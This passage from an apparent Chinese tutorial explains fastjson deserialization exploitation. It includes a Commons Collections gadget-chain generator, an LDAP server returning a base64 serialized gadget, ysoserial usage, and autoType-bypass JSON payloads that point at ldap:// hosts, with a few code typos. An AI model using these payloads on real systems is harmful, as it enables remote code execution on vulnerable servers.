需要借助另外的類(lèi)TransformedMap,該類(lèi)設(shè)計(jì)用來(lái)作Map的變換。

Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);

decorate函數(shù)說(shuō)明及源碼

/**
 * Factory method to create a transforming map.
 * <p>
 * If there are any elements already in the map being decorated, they
 * are NOT transformed.
 * Constrast this with {@link #decorateTransform}.
 * 
 * @param map  the map to decorate, must not be null
 * @param keyTransformer  the transformer to use for key conversion, null means no transformation
 * @param valueTransformer  the transformer to use for value conversion, null means no transformation
 * @throws IllegalArgumentException if map is null
 */
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
         return new TransformedMap(map, keyTransformer, valueTransformer);
}

TransformedMap的entry value如果被修改就會(huì)執(zhí)行Transformer的transform方法。而剛好有另外的類(lèi)sun.reflect.annotation.AnnotationInvocationHandler,該類(lèi)是java運(yùn)行庫(kù)中處理注解的類(lèi),包含一個(gè)Map對(duì)象屬性,其readObject方法有自動(dòng)修改自身Map屬性的操作,即反序列化此對(duì)象會(huì)修改Map對(duì)象屬性,這樣就整個(gè)利用鏈就銜接上了。

生成序列化字節(jié)碼的代碼:

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollectionPayload {
    public static void main(String[] args) throws Exception {
        /*
         * Runtime.getRuntime().exec("calc");
         */
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map inMap = new HashMap();
        inMap.put("key", "value");
        Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
        FileOutputStream fos = new FileOutputStream("payload.txt");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(instance);
        oos.flush();
        oos.close();
    }
}

接下來(lái)構(gòu)造LDAP服務(wù),把payload.txt中的序列化字節(jié)碼(經(jīng)過(guò)Base64轉(zhuǎn)碼)放置上去:

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
         URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
         System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
         e.addAttribute("javaClassName", "foo");
         String cbstring = this.codebase.toString();
         int refPos = cbstring.indexOf('#');
         if ( refPos > 0 ) {
                  cbstring = cbstring.substring(0, refPos);
         }

         /** Payload2: Return Serialized Gadget **/
         try {
                  e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh3kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
         } catch (ParseException e1) {
                  e1.printStackTrace();
         }
         /** Payload2 end **/

         result.sendSearchEntry(e);
         result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

剩下的利用fastjson反序列化漏洞觸發(fā)JNDI注入完成命令執(zhí)行。

此種辦法構(gòu)造序列化對(duì)象字節(jié)碼是關(guān)鍵,已有人開(kāi)發(fā)出工具自動(dòng)生成:https://github.com/frohoff/ysoserial

如java -jar ysoserial-master-30099844c6-1.jar CommonsCollections6 ‘calc'|base64

快速生成“彈出計(jì)算器”的字節(jié)碼。

本文只是介紹了CommonsCollections中的一種利用方式,實(shí)際還有很多,可參見(jiàn)ysoserial的源碼。

$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

Fastjson各版本差異

<= 1.2.24

fastjson 1.2.25之前版本,只是通過(guò)黑名單限制哪些類(lèi)不能通過(guò)@type指定。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl和com.sun.rowset.JdbcRowSetImpl都不在黑名單中,可以直接完成攻擊,代碼參考上文。

>= 1.2.25 <=1.2.47

fastjson自從1.2.25版本開(kāi)始,進(jìn)一步添加了配置項(xiàng)setAutoTypeSupport以及白名單,進(jìn)一步限制@type的使用,默認(rèn)該配置項(xiàng)關(guān)閉。配置項(xiàng)關(guān)閉時(shí),只允許白名單內(nèi)的類(lèi)通過(guò)@type指定。

此時(shí)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetIm都已經(jīng)在黑名單中了,但是存在繞過(guò)方式,不需要setAutoTypeSupport為true。如果先傳入如下JSON進(jìn)行反序列化:

{
         "@type": "java.lang.Class",
         "val": "com.sun.rowset.JdbcRowSetImpl"
}

java.lang.Class是在白名單中的,反序列化后com.sun.rowset.JdbcRowSetImpl就會(huì)被加入到白名單中,剩下的就和1.2.24相同了,直接把兩部分整合到一起:

{
         "a": {
                 "@type": "java.lang.Class",
                 "val": "com.sun.rowset.JdbcRowSetImpl"
         },
         "b": {
                 "@type": "com.sun.rowset.JdbcRowSetImpl",
                 "dataSourceName": "ldap://192.168.50.131:9999/Exploit",
                 "autoCommit": true
         }
}

>= 1.2.48

fastjson 1.2.48及之后版本,需要顯式調(diào)用**setAutoTypeSupport(true)**才會(huì)觸發(fā)漏洞:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonStr ="{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"ldap://127.0.0.1:1389/ExportObject\"}";
JSONObject json = JSON.parseObject(jsonStr5);

上述就是小編為大家分享的怎么從零開(kāi)始學(xué)習(xí)fastjson反序列化了,如果剛好有類(lèi)似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI